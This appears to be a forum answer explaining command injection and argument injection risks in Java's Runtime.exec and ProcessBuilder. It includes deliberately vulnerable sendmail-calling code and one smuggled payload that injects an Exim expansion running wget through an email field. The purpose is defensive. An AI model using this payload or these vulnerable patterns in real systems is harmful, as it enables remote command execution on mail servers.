Yes I think there are "secure" ways.
I think also in relation with your question that your objective can be both to avoid Command Injection and/or not triggering alerts in static source code scanners? The second one could be tricky, since the high amount of false positives these scanners generate.
I honestly think that the first alert of "Firebug" could be in most cases a False Positive (although useful for awareness) for "Command Injection" (if you are just calling a particular executable or bat file), in fact the rule should be applied just when you are calling a bash/cmd/sh interpreter. Then, the vulnerability could be possible when crafting directly into it arguments nested from unknown sources.
Command Injection example (both exec and ProcessBuilder options):
String[] cmd = new String[]{"/bin/bash","-c","/usr/sbin/sendmail -f"+emailFrom};
Runtime.getRuntime().exec(cmd);
//Same as Exec
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.start();
Since Java perform a fork() of the executable instead of directly call a OS command interpreter (like proc_open/exec in PHP), we could say that these functions are "by default" more protected against Command Injection.
On the other hand you should be aware too about "Argument Injection" attacks (could be fight as Command Injection itself, but slightly different). In which case, ProcessBuilder is the safe solution to go with.
The reason is, exec() accepts a string and tokenize/interprete spaces to transform it into an argument array but ProcessBuilder don't, so spaces are not interpreted for string tokenization!
Argument Injection Example:
}else if( ("Argument Injection".equals(submit)) ){
//We are invoking an process without calling a sh/bash/cmd interpreter. But Still, thanks to Runtime.java tokenizer, we are able to inject extra arguments to target process.
String cmd = "/usr/sbin/sendmail -f" + emailFrom;
Runtime.getRuntime().exec(cmd);
Possible Payload:
ss@email.com -be ${run{/usr/bin/wget${substr{10}{1}{$tod_log}}http://127.0.0.1/test}}
Since is a little bit out of context for this Question, I let here a research I performed about those attacks. These subjects could be useful to anyone worried about the technique of using Languages pre-defined functions for calling executable in file systems.
Java CommandI/ArgumentI: http://rebujacker.com/2017/07/19/javacommandiargumenti/
PHP:
http://rebujacker.com/2017/06/10/phpcommandiargumenti/
Ruby/Python/JS:
http://rebujacker.com/2017/10/24/scriptcommandi/
I provide multiple PoC's where you can play with the different commands and see which ones fits on your more secure specs for target file execution.